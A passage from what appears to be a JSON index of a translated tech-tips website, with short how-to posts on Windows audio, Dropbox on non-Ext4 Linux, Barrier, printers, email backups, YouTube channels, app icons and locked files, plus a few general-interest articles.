300.\n  3. Adjust the volume down option if the voice call is causing the problem If everything sounds completely fine during regular use but abruptly drops when you're on a voice call, you probably have the communication option set to volume down during the call.\nTo fix this, click the Start button , then type Control Panel and press Enter.\nWhen in small or large icon view, click Sound.\nIn the window that appears, click the Communications tab . Make sure the 'Do Nothing' option is checked , then click OK. Now the volume will not decrease during a call anymore!\n  4. Check individual software levels If every app's soundbar is at a good volume level, the level for that particular app might be low. You can double-check individual volume levels by right-clicking the volume icon on the taskbar, then clicking 'Open Volume Mixer' .\nYou will see all the software you have open with their own volume scales. Make sure the app has a low noise without losing volume for some reason. If this bar is lower than the other bars, raise it to the level as shown below.\n  5. Use audio enhancements If things are generally too small, you can use the audio enhancements in Windows 10 to boost your sound levels.\nTo do this, right-click on the audio controls in the toolbar, then click 'Open Volume Mixer' .\nClick the icon of the device you are currently listening to.\nGo to the Enhancement tab , then check the 'Loudness Equalization' box . Click Apply.\n  This will strengthen the sound even further, hopefully loud enough for you to hear!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZKaZqJ66trmMr6alrZ2aeqq6jLCgp5yfrMBufY8%3D\n","link":"/post/how-to-increase-maximum-volume-in-windows-10/","section":"post","tags":null,"title":"How to increase maximum volume in Windows 10"},{"body":"To restart Windows 8, move the cursor to the upper/lower right corner → Click → Click the button → Click . You can also use an alternate method that uses only the keyboard in situations where you cannot use the mouse. Move your cursor to th...\n Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGivtNmrqKmlKTEtHmX\n","link":"/post/how-to-restart-windows-8/","section":"post","tags":null,"title":"How to Restart Windows 8"},{"body":"Previously, using Dropbox on Linux was easy. However, if you use a file system other than Ext4, this will become much more difficult. Fortunately, there is still a way to fix this. Find out through the following article!\nHow does Dropbox work in a Linux file system other than Ext4? What is the problem? Options to solve the problem How to make Dropbox work on non-Ext4 file systems Warning Before start Install dropbox-filesystem-fix Making fixes permanently  What is the problem? For a long time, Dropbox has supported almost every file system the user wants to use, then Dropbox quietly claims that it will give up support for 'uncommon' file systems. 'Uncommon' in this case means any file system other than Ext4.\n  You may see messages saying: ' Dropbox will stop syncing. Move your folder Dropbox to một hệ thống tập tin được hỗ trợ. (Dropbox will stop syncing. Move your Dropbox folder to the supported file system). Another error message is' Your Dropbox folder is on a system file that is no longer supported. '(Your Dropbox folder on the file system is no longer supported).\nOptions to solve the problem Whatever the reason Dropbox stops supporting other file systems, you have a few options. You can create Ext4 partitions on Dropbox dedicated hard drives. This technically will work, but must resize this partition if the Dropbox folder is too large. That is an inappropriate solution.\nYou can also leave Dropbox completely. There are many other cloud service providers out there. You can also use your own self-archiving solution like Nextcloud, ownCloud or Seafile.\nFinally, you can use a workaround to allow using Dropbox on non-Ext4 file systems.\nHow to make Dropbox work on non-Ext4 file systems There are several ways to bypass Dropbox's file system detection feature, but one of the easiest ways is to use the 'dropbox-filesystem-fix' tool .\nWarning On the GitHub page of the dropbox-filesystem-fix, there is a warning that needs special attention. 'This is a trial fix, not supported by Dropbox. This tool may cause data loss. Please note this and make sure to back up your Dropbox folder regularly. '\n  Before start Before using dropbox-filesystem-fix, you will need to install the tools to build it. On Debian, Ubuntu and similar systems, run the following command:\nsudo apt install build-essential  There are alternatives to other distributions. On Fedora and other RPM-based distributions, run the command:\nyum install make automake gcc gcc-c++ kernel-devel  On Arch and similar systems, run the following command:\npacman -S base-devel  Install dropbox-filesystem-fix The following instructions assume that you have installed Dropbox. If you haven't installed Dropbox yet, do it now.\nTo copy the GitHub repository and build dropbox-filesystem-fix, run the following commands:\ngit clone https://github.com/dark/dropbox-filesystem-fix.git cd dropbox-filesystem-fix make    Once successful, move the entire folder to '/ opt /'. You also need to create a script to start the executable program. Run the following commands:\nsudo mv dropbox-filesystem-fix /opt/ sudo chmod +x /opt/dropbox-filesystem-fix/dropbox_start.py  You can now stop Dropbox (assuming it is running) with the following command:\ndropbox stop    When this is done, you can try running Dropbox via dropbox-filesystem-fix to be installed:\n/opt/dropbox-filesystem-fix/dropbox_start.py  If you don't receive any alerts and Dropbox is running, you have successfully installed dropbox-filesystem-fix.\nMaking fixes permanently When the fix for Dropbox is running, go to Settings and uncheck the 'Start Dropbox on system startup' box . From now on, you will start Dropbox from the script you just ran. You can also run the dropbox autostart n if you can't find this installation dialog.\nIf the directory '~ / config / .autostart' does not exist, create it.\nmkdir -p ~/config/.autostart  Create a file in that directory, named 'dropbox-filesystem-fix.desktop', Edit the file and add the following to:\n[Desktop Entry] Type=Application Exec=/opt/dropbox-filesystem-fix/dropbox_start.py Hidden=false X-GNOME-Autostart-enabled=true Name=Dropbox  The above instructions are for Gnome. Other desktop settings are similar. If necessary, refer to the documentation for the desktop environment you are using.\nIf you use KDE instead of Gnome, you can simply access System Settings, then select Startup \u0026amp; Shutdown , and then click Autostart. Here you can add scripts.\nAt least so far, it seems possible that running Dropbox on non-Ext4 operating systems is possible. Dropbox seems to care more about not supporting file systems other than actively preventing them from working. If you are concerned that files may suddenly become unusable in the future, there are many alternatives to Dropbox. TipsMake.com has a list of the best cloud storage services if you want to switch to a more Linux-friendly service.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqlvs6pmaiwXZ67bq2MpaCnrahis6q4xGaqsqukmrputdJmpaisXZrFtYA%3D\n","link":"/post/how-to-use-dropbox-in-a-linux-file-system-is-not-ext4/","section":"post","tags":null,"title":"How to use Dropbox in a Linux file system is not Ext4"},{"body":"Previously there was also Synergy software that allowed to connect 2 computers with a mouse and a keyboard, but the software was paid for. Barrier is modded from Synergy, so it will bring all the features of Synergy and is completely free to install. The following article will guide you how to install and use Barrier to set up 1 mouse and 1 keyboard for 2 computers at the same time.\nHow to connect 1 mouse, 1 keyboard to 2 PCs Step 1:\nFirst of all, we need to install Barrier software for 2 computers according to the link here.\u0026nbsp;Scroll down to see the link to download Barrier software version 2.3.3. Then install on both computers.\n  Step 2:\nOnce the software has been installed successfully, open the software on both computers. Then display the interface as shown below. For computers with mouse and keyboard plugged in, click Server, while for computers without mouse and keyboard plugged in, click Client. Click on Finish.\n  Step 3:\nAt the computer plugged in, click Configure Server.\n  Then display an icon of the main screen of the mouse plugged in in the middle of the screen and another icon on the screen in the right corner, drag and drop that icon to the left or right of the main unit depending on what device is not plugged in. where.\nDouble-click on the unplugged computer to change the name of the computer. To find the name of the client machine, look at the Screen name entry on the client side application.\n  Step 4:\nAt the software interface on the client computer, enter the IP address displayed on the Server side into the Server IP field. Finally, click the Start button on both machines, and then click OK when the pop-up appears.\nAs a result, we will use the same keyboard and mouse at the same time on 2 computers connected by Barrier software. Then you need to set up Barrier to run with Windows so that when using the next time you do not need to enter a password, the two machines automatically sync.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmop6xkqSus7CMmqWdZZ2kwrSxjJ%2Bmq2ViYr2kv4ywoK2gXZeus77Inqk%3D\n","link":"/post/how-to-use-the-keyboard-and-mouse-for-2-pcs-with-barrier/","section":"post","tags":null,"title":"How to use the keyboard and mouse for 2 PCs with Barrier"},{"body":"If you've ever scoured the Internet to find free ringtones for your mobile phone, you've probably found that this job is not easy. Many websites download free \"tagged\" ringtones, but when downloading, they are not completely free. Some pages, when clicking the download link, the user is redirected to a full-page advertisement, some pages require an account registration or a fee.\nNote: iPhone and other iOS users cannot download ringtones directly to their phones and set them as ringtones. This feature is only available on Android devices. If you are using an iPhone, you can still use the following websites but first download your computer and use your computer to transfer ringtone files to your phone or use the GarageBand application, see the article How to create an iPhone ringtone without iTunes, free PC by GarageBand to know how to create a ringtone on iPhone.\nTip: If you download a ringtone file in a format that is not compatible with your device, you can use the free audio converter to convert the file to the correct format for the device. Android and BlackBerry devices use MP3 format while iOS devices like iPhone and iPad use M4R format.\nHow to convert audio formats with Online Audio Converter The best free ringtone download websites 1. Zedge.net 2. Notificationsounds.com 3. Funformobile.com 4. Tones7.com 5. Free-ringtones.cc 6. Melofania.club 7. MyTinyPhone.com/ringtones/ 8. Audiko.net 1. Zedge .net   Zedge has a large community of users who create and upload ringtones with a variety of genres suitable for a variety of mobile phones. Users can download to the computer or download directly on the phone.\nFor user convenience, Zedge offers a list of categories for each mobile phone. The site also has a search box at the top to find more specific ringtones. In addition, Zedge also has an impressive theme library and wallpaper.\n2. Notificationsounds.com   The Notification Sounds website provides notification sound files divided by categories such as animal sounds, message sound alerts, alarm sounds, sound effects, funny sounds and Christmas ringtones. When downloading ringtones or message alerts, users can select and download the file in a format suitable for their device.\n3. F unformobile.com   With Fun For Mobile, you can find ringtones, videos, photos, games, chat rooms and other free content on Fun for Mobile. If you're wondering what ringtone to download for your phone, you can search the \"Daily Top Tones\" section and see the top 150 ringtones for the day. In addition to the Daily Top Tones section, there are also features of new tones, new tones and popular tones. All ringtones at Fun For Mobile are in MP3 format.\nThe difference between MP3 and MP4 4. Tones7.com   If you're looking for a simple website to download ringtones, try Tones7, which offers a very simple service with a simple design to easily download ringtones.\nA handy feature of this website is that users can pre-listen to ringtones in the browser before downloading. Tones7 provides ringtone files in MP3 and M4R formats. In addition, you can upload your ringtones on the website to share with other users.\nHow to fix m4r file error creating iPhone ringtone with iTunes 5. F ree-ringtones.cc   \nAnother source of free ringtones is Free-Ringtones.cc, which allows users to download ringtones to a computer or phone and upload their music files to the website. The site divides ringtone items into funny ringtones, message alerts and alerts, sound effects, international ringtones, dance music, Bollywood and ringtones from movies and TV.\n6. Melofania.club   Melofania is a great ringtone download site with many features. In addition to searching for various artists' music tracks and downloading their ringtones, you can also create ringtones from YouTube videos or even upload your own music to the site.\nYou can find your favorite ringtones using the search function at the top of the page and then listen first to choose whether to download or not because it can have many different versions. After selecting your favorite ringtone, click on the Android or iPhone button and select the ringtone with the format you need. Android users can download ringtones directly to their phones but iOS users need to use a computer or iTunes as an intermediary tool.\nNote : Downloading ringtones created from popular songs is copyright infringement. Therefore, you should use Melofania for music you own and have the right to modify and use as a ringtone.\n7. MyTinyPhone.com/ringtones/   MyTinyPhone has a huge collection of ringtones with a total of more than half a million songs. Ringtones are arranged neatly into many categories such as Jazz Music, Rock Music, Fun, etc. . help users easily find.\nEach ringtone has a star rating and number of views, which helps you quickly filter popular ringtones. However, one annoying thing is that when you click on the big play button in the catalog page, you will be taken to the page of that ringtone, so you can listen. You can download ringtones in MP3 or M4R format.\n8. Audiko.net   Audiko is another popular website that allows you to download user-created ringtones. It also allows you to create your own ringtone by uploading your favorite songs. On the homepage, you will see popular ringtones, SMS ringtones and top artists in the country where you live. Scroll down a bit and you will find links to popular categories that you can view.\nWhen opening a specific ringtone page, you will see an option to listen to the tone and versions of the ringtone. If you like this ringtone, you can click the download button to start the download process. However, you will have to create an account to download Audiko ringtones, but instead all downloaded ringtones are saved in your account and you can download the iOS or Android version at any time. you want.\nAudiko has an application for Android, free to use and does all the things you can do on the site. In addition, it also has a paid iOS app for $ 0.99 but you do not need to download because it has the same features as on the site, you still need computers and iTunes to transfer music to the iPhone.\nSee more:\nHow to create iPhone ringtones with iTunes How to create ringtones on Android as you like with Ringtone Maker Create your own ringtones ncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkm52jqXqnvsSeZKuhnpzBsLrEZpuor56hvKKwjLCcm6uZqbK0\n","link":"/post/top-8-best-free-ringtone-download-websites/","section":"post","tags":null,"title":"Top 8 best free ringtone download websites"},{"body":"Information technology is growing strongly, in order to keep up with the technology trend of the world, many industries related to this field also develop accordingly. One of the jobs that cannot be mentioned is IT. This is an extremely singing industry and attracts the attention of many young people today because of the interesting and many challenges that this work brings.\nIf you want to study this industry and want to learn about IT career then the article below Network Administrator will answer for you all. Let's follow it.\nListen to the young \"not medium\" answers about IT industry The Ministry of Information and Communications issues \"Documents of things to know about IT jobs\", a guideline for young people who love technology 1. What is IT?   If we analyze each word of IT we will have:\nI: Information means information.\nT: Technology means technology.\nWhen combining these two letters, we will get IT terminology, this is an acronym in English of the phrase 'Information Technology', when translating into Vietnamese, we can understand the information technology as a profession is very singing and is loved by many young people. IT is the work related to the computer software of the Internet network, data processing, .\n2. What is IT industry?   IT staff are those who specialize in collecting and managing, conducting repairs and correcting errors that the website is encountering. Thanks to IT, individuals and organizations can avoid hackers who steal information and help individuals and organizations manage and use their data in a simple, easy and effective way. more.\nIn Vietnam IT is also understood as programmers, the work of IT does not stop at the processing of computer data, but these people also have to carry out the work related to designing and writing parts. Soft computers, . Depending on the requirements of each company, IT will meet their working needs.\nFor example, there are companies that require their IT staff to know not only computer software but also knowledge of code, even some companies require their employees to specialize in about SEO, support to overcome computer problems, network .\nIT jobs can be divided into typical industry categories as follows:\nWebsite Development. Desktop application. Mobile application. Game Development. Embedded programming. Artificial intelligence. System security. Used in conjunction with other industries. So we introduced you to the IT industry and the job of IT people. Hope the article will be useful to you. Thank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYra1ecyemKdlp52utXnIrGStoJVitrV5yKebrqukp8ZusM6ipaA%3D\n","link":"/post/what-does-it-mean-what-is-the-it-industry-doing/","section":"post","tags":null,"title":"What does IT mean? What is the IT industry doing?"},{"body":"In the past, most homes had only one computer and one wired printer in the house. However, as technology advances, almost everyone now owns a computer.\nIf you want to print documents from your laptop or smartphone, you must physically connect the wired printer to your device. This is inconvenient and quite difficult if you only use a smartphone.\nBut what if you could upgrade your existing wired printer to a wireless one? The following article will discuss several ways you can do this.\n1. Connect the printer to the router via USB   This is the first thing you should consider if you want to switch your wired printer. That's because many routers these days have a USB port on the back, allowing it to act as a server for the home network. If your router has a USB port, it can act as a USB host, allowing all computers connected to it to access the device.\nFor example, if you plug a USB into a USB port, you can use that drive as a NAS device. So anyone connected to WiFi or LAN can copy and paste files into that storage. The same thing happens if you attach the printer to your router. However, if you do, you should first check your router's settings to make sure that the router is set to Printer Server mode and not in NAS mode.\nIf your router only has one USB port, that means you have to choose between using it as a print server or storage. You cannot attach a USB hub to the port and use both because it will confuse the system.\n2. Does the printer have a built-in Ethernet port?   Even if your router doesn't have a USB port, or a NAS system already takes its place, you can convert your wired printer into a wireless printer if it has a built-in Ethernet port. Typically, you'll find this feature in business printer models, where multiple users are expected to print documents from different computers.\nBy taking the printer's Ethernet port and plugging it into one of the available LAN slots on the back of the router, you're effectively connecting the printer to your local network. If the router has built-in WiFi, it means that all wireless devices connected to the router can discover and print from the attached network printer.\nIt doesn't completely turn your wired printer into a wireless model, as it still connects via LAN cable to the router. However, the fact that you can access it wirelessly from any device connected to WiFi means you can start printing on it without the need for a physically connected smartphone or laptop. .\nAlternatively, you can purchase an Ethernet to WiFi adapter for your compatible printer. This device sends and receives data wirelessly and then pushes it out via the Ethernet port. You can use a short Ethernet cable to connect it to your printer. This allows you to effectively place the printer anywhere you want, as long as your home's WiFi signal can reach it.\n3. Buy a Wireless Adapter from the printer manufacturer   While this is not common these days, some manufacturers used to produce Wireless Adapters for their wired printers. This is a Plug-and-Play solution where all you need to do is attach a dongle for your specific printer model. This is a solid solution for USB printers without an Ethernet port.\nHowever, because these adapters are typically for older models, you may have a hard time finding brand new adapters for your printer. Before going down this route, you should check with the manufacturer to see if it's compatible with the printer you have.\nMoreover, these products are usually much more expensive. You can save even more money by buying a brand new wireless printer instead. So, before going for this option, it's a good idea to hang around a bit first to see if you can get a cheaper alternative.\n4. Use a dedicated print server  Samsung printer connected via print server\nIf you can't find a Wireless Adapter made specifically for your printer or find it too expensive, you can choose this option instead. This is especially useful if your router doesn't have a USB port or the printer doesn't have an Ethernet jack.\nThe dedicated print server attaches to the router via Ethernet and acts as a computer. Its sole purpose is to accept and process print jobs and send them via USB to your printer. This is similar to the solution above but compatible with most models. Furthermore, they are usually more affordable and are manufactured by network companies.\n5. Share printer via computer   If you need a wireless printer from time to time and don't want to go to the trouble of setting it up, you can share your printer using the computer connected to it now.\nAs long as your PC and the device that wants to print are on the same network, you can use your computer as a bridge to allow the wireless device to print.\nThe main disadvantage of this method is that the host computer needs to be turned on and connected. Furthermore, if you are unfamiliar with these setup steps or are connecting different systems, such as Windows PCs and iPhones, you may encounter some complications.\nHowever, this is still the best solution for those who rarely print. And with Windows 10 and 11, setting up this system is easier than ever.\nWireless printing is truly a convenient feature, given the number of wireless devices available and the flexibility of working on a separate computer.\nFor example, flagship Android smartphones, iPhones and iPads are powerful enough to get the job done. However, you may have difficulty attaching a USB-A printer to your USB-C mobile device.\nWith wireless printers, you no longer have this port compatibility problem. If you already own a wired printer, you don't need to upgrade to a wireless model. Choose any of the methods above and enjoy the benefits of wireless printing without replacing your equipment.\nWireless Printer ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrCwutWeqa1lkWLEqr7EnWSpqpmjwaa%2BjK2mZq%2BZp7KtsdKs\n","link":"/post/5-ways-to-convert-a-wired-printer-to-wireless/","section":"post","tags":null,"title":"5 ways to convert a wired printer to wireless"},{"body":"Network administration - Remembering to back up your desktop, laptop, smartphone or tablet is not an easy task. Backing up an email account with data stored in the cloud is the same, but how to do that is exactly what we want to show you in this article.\nGmail   For each of Google's Gmail accounts, users have plenty of storage space - above 7.5GB - for storing thousands of messages, but this does not mean that you should leave all the 'eggs' of your email. I am in a basket. Here we have a simple and completely free way but can backup Gmail account, that's Gmail Backup .\nGmail Backup works with both Windows and Linux platforms. Here's how to backup your Gmail account:\n1. Download and install Gmail Backup. Installing this utility is very simple, after installation is complete, you can open the program via shortcut in the Start menu or the icon on the desktop.\n2. Open Gmail Backup. Enter the full Gmail address and password, select the backup folder that you plan to store the messages. You can use Gmail's default folder or create your own folder by clicking on the Directory.\n3. Select the items to backup. You can only backup the latest messages or you can backup all your emails by a specific number of days. If you want to backup all the emails in your account, you just need to select the 'Since date ' timeline before opening an account.\n  4. Start the backup process by clicking the Backup button. The process can take a long time if you have a lot of messages, so you can let it run in the background. However, if you want to look at the process, Gmail Backup will keep a log of the emails it has backed up. You can also backup your account incrementally; In this way, Gmail Backup will ignore the messages it has downloaded into a specific directory.\n5. If there is a problem with your Gmail account, you can now recover the messages from the Gmail Backup utility. To perform this backup operation, you need to enter the address and password of the Gmail account to be restored, then select the backup folder containing the messages you want to recover. These folders do not need to belong to the same account.\nHotmail\n  Hotmail users will not have a utility like Gmail Backup. However, you can use the free application instead, this is a very easy to install application and named MailStore Home . This utility only works on Windows platforms, it allows you to backup and restore web and email messages on the desktop.\n1. Download and install MailStore Home. Open MailStore Home and click Archive e-mail.\n2. Select POP3 Mailbox and enter your email address, ' Host ' (pop3.live.com), followed by the password. Select POP 3-SSL in the ' Access via ' menu and click Next . 3. In the next screen, you can choose how to archive, you can delete messages from the server when the program has finished downloading them. The default setting does not allow deleting these messages, and this is probably the setting you should choose. So do not change anything here, just click through and perform a backup of your mailbox.\n  One thing is for sure, MailStore Home is much easier to set up than Gmail Backup, but the use is quite simple. Not only can you see your messages in the MailStore Home client, but you can also backup files to a USB drive or CD, DVD.\nMailStore Home will keep folders and labels unchanged and can perform incremental backups (it will ignore recently archived messages).\nYahoo Mail\n  Yahoo hardly wants users to backup their email. So do we have a way to do this? Yahoo has disabled POP3 access for free users - in order to get POP3 features you must become a Yahoo Mail Plus member and in the event that MailStore Home will not work.\nHowever, this is the way we do it without losing money.\n1. Download and install Zimbra Desktop , a free email client that works with Yahoo Mail, Gmail and Hotmail. 2. Open Zimbra Desktop and click Add New Account. Select Yahoo from the drop-down menu and fill in the form (email address, password, etc.). You can also choose to perform synchronized schedules, contact lists and groups.\n3. Click Validate , Save and wait for Zimbra to perform the synchronization - the process may take a long time, while you are in sync you cannot access your account. When the synchronization process is complete, click Launch Desktop and go to the Preferences tab. In the left menu, below the Yahoo account, click Import / Export .\n  4. Under ' Export ', need to select Account , then check the Advanced Settings checkbox. If you don't want to sync everything, you can deselect all the checkboxes except Mail and then click Export .\n5. After performing the backup, you will get a compressed .zip, file to open with WinRAR software. All your messages are stored under .EML files, which can be opened with an email program on the desktop (such as Outlook or Thunderbird). You can also import this compressed file into Zimbra Desktop and the messages will be restored; When the messages are restored to Zimbra Desktop, the utility will synchronize with the server and your Yahoo Mail account will be restored to its original state.\nncG1vNJzZmismaXArq3KnmWcp51kr6KvymasqWWnmq9uscyaoKVlkZiwsMHNrQ%3D%3D\n","link":"/post/back-up-web-e-mail-account/","section":"post","tags":null,"title":"Back up Web E-Mail account"},{"body":"On the night of August 12, the morning of August 13 (Vietnam time), there will be meteor shower Perseids - with a density of up to 60 - 100 streaks / hour is one of the two big and beautiful meteor shower most of the year.\nAmazing blue meteor attacks the red heart nebula The most anticipated astronomical events of 2017 According to experts, the meteor shower this year is hard to \"boom\" like last year, maybe only about 40 streaks / hour on the extreme night. The reason is that this year's meteor shower falls at the time of the crescent moon only a few days after the full moon, so the moon's light can cause the observation ability to decrease.\n  The Perseids meteor shower took place in August every year and originated from comet Swift-Tuttle (or 109P / Swift-Tuttle) - spinning around the Sun with a cycle of 135 years.\nWhen the Earth passes through the tail of Swift-Tuttle's comet with a diameter of 27km, a large cluster of meteorites from this comet will plunge into the Earth's atmosphere. They will rub against the air and ignite to form light trails called meteor.\nHow to observe meteor shower   In order to fully watch the meteor, the viewer only needs to face northeast, find the constellation Perseus. The time when watching the best meteor will be around 1 - 4 am on August 13, when the sky is cloudy. It is possible to observe the Perseus meteor shower with the naked eye. Because the interstellar interval can last from a few seconds to several minutes, you need to be patient to catch sparkling meteor streaks. Take an observation position with a wide angle of view, high and without lights to make it easier to observe. And finally, wish this weekend cloudy sky, and not rain. ncG1vNJzZmismaXArq3KnmWcp51ksbB5zairZqWZqMBuwMeeZKiooKS%2FtcHNoquyZaSkeqKwzKKpnmWknbJuuMCrnp6rpGK6psDEqKlmq5ikxKa%2BjKidZqyYmnq6scCrZK2nnp60qcCMnJinZZKaerCu0p6pr52UYsSqwMdmq6GdXaOurLHDZpyynQ%3D%3D\n","link":"/post/do-not-miss-the-opportunity-to-admire-the-largest-meteor-shower-of-the-year-tonight-can-be-observed-with-the-naked-eye/","section":"post","tags":null,"title":"Do not miss the opportunity to admire the largest meteor shower of the year tonight, can be observed with the naked eye"},{"body":"The magician has created a performance hovering in the air from sticking his hands on the wall to fastening himself to the bus, causing the audience to be amazed and curious to discover. Find out what they use 'magic magic' in this unique magic show.\nDiscover the secret of handcuff magic tricks locked in closed containers Decoding the magic screen walking on the water makes many people think of the mysterious power How does David Copperfield perform the classic magic show that vanishes the Statue of Liberty?   Referring to the hovering mid-air performance, many people will immediately think of the extremely famous magician such as the German street artist Johan Lorbeer, or the Ramada magician with the \"hands-on\" screen on the wall, or virtual Steven Frayne, a young English magician, shows himself on the side of the bus and travels a long distance.\nThey all brought to the audience interesting and mysterious things. But no one could suspect that the performer's secret - flying in the air, sticking to a certain wall was surprisingly simple.\n  All the props of this classic performance are just a metal rod that has been hidden in a fake arm, made of soft plastic, just like real hands. It can be attached to any terrain that performers want to deceive the audience like a bus wall or side as our magician has chosen.\n  This metal rod runs from the back to the leg of the performer and is hidden under the shirt, pants, and shoes.\nThe magician just climbed the ladder and stood up in that position and covered the outside clothes and was able to \"transform\" in front of the audience.\nncG1vNJzZmismaXArq3KnmWcp51ks621z6mgp59dqbWmecyanqKbXam%2Fqq%2FKZqquq6Cau6Wxw2aYm6emmnqlu8SsZKenpGK1osLEZqSan5mY\n","link":"/post/flipping-the-magic-trick-suspended-above-does-not-have-magic/","section":"post","tags":null,"title":"Flipping the magic trick suspended above does not have magic"},{"body":"Only with a Google account can you view, click \"Like\" or subscribe to a YouTube channel (YouTube Subscription ) . By default, a Google account is not associated with a YouTube channel . If there is no channel, you cannot be publicly available on YouTube .\nTo post, upload or comment on any of your favorite videos or create a playlist you just need to create a public YouTube channel.\nCurrently, YouTube does not yet have a feature for you to create your own channel in the YouTube for Android or iOS app, but you can use the website for mobile or computer to create.\nIf you don't know how to download videos on YouTube quickly, refer here. Create personal channels with your name 1. Make sure you are logged into YouTube.\n2. Do any action if the required channel: upload, upload, leave a comment (comment) or create a playlist.\n3. If you do not have a channel on YouTube , you will be asked to create a channel.\n4. Check carefully ( Google account name and photo) and then confirm the new channel you just created.\n  Create a channel by business name or other name 1. On your computer or phone browser, log in and YouTube.\n2. Go to All my channels section.\n3. If you want to create a YouTube channel for the Google+ page you manage, simply select that channel. Alternatively, you can choose Create a new chanel to set up your channel with a different name with your Google account .\n4. Fill in your new channel details and complete.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKedp2Kwqa3Np5ylZZ%2Bjerq71K2sm50%3D\n","link":"/post/how-to-create-a-new-channel-on-youtube/","section":"post","tags":null,"title":"How to create a new channel on YouTube?"},{"body":" App Icons are the first thing the users notice. This is the your first and last chance to grab users' attention among millions of apps competing for attention in app stores. You want to make sure your design gets your potential users'...\nMethod 1of 3:\nBasic Design Guidelines  Remember the magical formula: Icons must be recognizable and beautiful. Being beautiful will ensure that the users notice it for the first time. Being recognizable will help you when your user will come back or search for your app.\u0026nbsp;Know that when users see an app icon, they instantly create an opinion about the quality of the app. First impression matters! So make it as powerful and attractive as possible.\n  Use symbols and shapes. E.g., blue box with an enclosed 'f'- Facebook, a small flying bird against blue background- twitter, Cursive 'P' against red- Pinterest, and a comical robot - Android. All these icons capitalize on the power of symbol and shapes. These are simple yet beautiful and recognizable. Don't go for complicated designs\u0026nbsp;unless you can pull it off well.\n  Color it carefully. Colors say a lot about your app in particular and business in general. Use colors carefully. Don't make it clownish. Try not to use more than three colors. Know a little about color psychology. Green is usually associated with nature. Red is romantic, Blue signifies peace and orange oozes energy. Purple is royal. Similarly, know how colors choice is determined by gender, age, and region.\n  Don't clutter. Remember simplicity is a virtue in visual arts and design. \u0026nbsp;Don't use long string of texts. Similarly, don't use photos unless you are a rock star or Hollywood celebrity.\n  Make sure your icon is related to the product you are selling. For example, use heart symbol for dating and matchmaking app. Computer or cellphone for cellphones and gadgets. Eateries can have food symbols. Religious symbols are universally recognized, so bank on this phenomenon.\n  Consider the iOS. Google has laid out icons design guideline for developers. This has led to more unified icons. Apple on the other hand already had the \"squircle\" design for their native apps, and has always been very rich aesthetically, which led to synchronized designs by others, too.\n Method 2of 3:\nAndroid Icons  Use grids and basic shapes: The basic shapes and grid let you focus on each element in the consecutive layers e.g., lighting, shading, color, geometry, etc.\n  Light carefully. According to Google's guide, lighting is like cutting and folding a paper. Think of this as origami. Fold the paper into any shape and then illuminate (light) it.\n  Observe the shadows. According to above analogy, note how edges create shadows and where. Shadows give depth to 2D image.\n  Color according to their suggestions. According to Google's outline, the color opacity is 54% on lit background. Inactive background will be 26% opacity-wise. On black background, opacity is 100% and inactive icon will have 30% opacity.\n  Dig into any other details. Google's icon guideline further delineates other elements such as geometry, strokes, human iconography, etc.\n Method 3of 3:\nApple Icons  Use universal imagery. For example, movie related app can use a clapper board. Instead of using some obscure or less known aspects of movie making e.g., coloring, sound dubbing, etc.\n  Don't use photo or screenshot. Photos hardly look good on icons and the whole point of using them is lost when seen at small sizes.\n  Shun transparency, embrace Opacity. Transparent icons rarely look good. Most of the time they get merged into bright background.\n  Don't use iOS similar icons. iOS users are very sophisticated breed of people. They have been using different iOS applications religiously. Making icons very similar to those of the native iOS apps will drive them away from your app instantly. Moreover, you may end up with copyright issues.\n  Have multiple icons of different sizes for multiple devices. Users have different devices which will have different rendering. Refer to the Apple Image and Icon size table on Apple's website.\n  Have a large version of your app for App Store Display. This can be richer and more detailed, though no visual effects can be applied. The larger icon should measure 1024 x 1024 pixels. It needs to be named iTunesArtwork@2x. For @1x devices, create app icon using 512 x 512 pixels and named iTunesArtwork.   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyipa2doprAtbXNoGSaqKBitqS7zaw%3D\n","link":"/post/how-to-create-interesting-app-icons/","section":"post","tags":null,"title":"How to Create Interesting App Icons"},{"body":"Basically, you cannot delete a file while it is in use in Windows. When a process is opening a file, it means that you cannot use that file for another task or process. You will get a 'File Is Open In Another Program' message. All file operations such as deleting, renaming, opening, editing, etc. will be disabled.\nI. Some quick fixes 1. Using Windows Shadowcopy If you are trying to copy a file that is being used by another process. Please enter the command to do that.\nStep 1: Find 'cmd' using the search bar and open Command Prompt with administrator rights (Run As Administrator).\n  Step 2: View the file path. To be able to copy and paste files with script, you need to know the exact location of the file on the drive.\nRight-click the file you want to copy and select Properties…\n  Switch to the Location tab and you'll know how to write the location of the file. Example in my case: C:Usertran1Musictraicay.mp3\n  Step 3: You enter the following command to copy and paste files from one folder to another.\nesentutl /y source file path /vss /d destination file path\nPlease replace 'file path' with the correct path, for example:\nesentutl /y C:Userstran1Musictraicay.mp3 /vss /d D:traicay.mp3\n  With that, I was able to copy the file traicay.mp3 from drive C to drive D.\n2. Close the program In Windows 10, when you receive the message 'file is open in another program', determine which program it is. Then just close that program and you can use the file freely.\nFor example, in the image below: The file tracay.docx is open in Words so I cannot copy, or delete the file.\n  To turn off the program completely, use Task Manager: Press Windows + X \u0026gt;\u0026gt; select Task Manager.\n  In the Processes section, click the application you need to disable, then click End Task.\n  3. Restart Windows Explorer If a file is opened by Windows Explorer, that file will be locked until we restart the process. To restart Explorer, follow these steps:\nStep 1: Open Task Manager by pressing Windows + X or Ctrl + Shift + Esc.\nStep 2: In Processes, navigate to Windows Explorer.\nStep 3: Right-click Windows Explorer and select Restart.\n  4. Restart the computer If there is no way for you to use the file, perhaps the most effective way is to restart the computer. Just press Windows \u0026gt;\u0026gt; Power Button \u0026gt;\u0026gt; Restart.\n  II. Using the iObit Unlocker tool iObit Unlocker is a great tool to unlock files quickly. Unlocker helps you quickly unlock a file and edit it to your liking.\nStep 1: You download iObit Unlocker on the software's official website. Then install the software on the computer.\n  Step 2: After successfully installing iObit 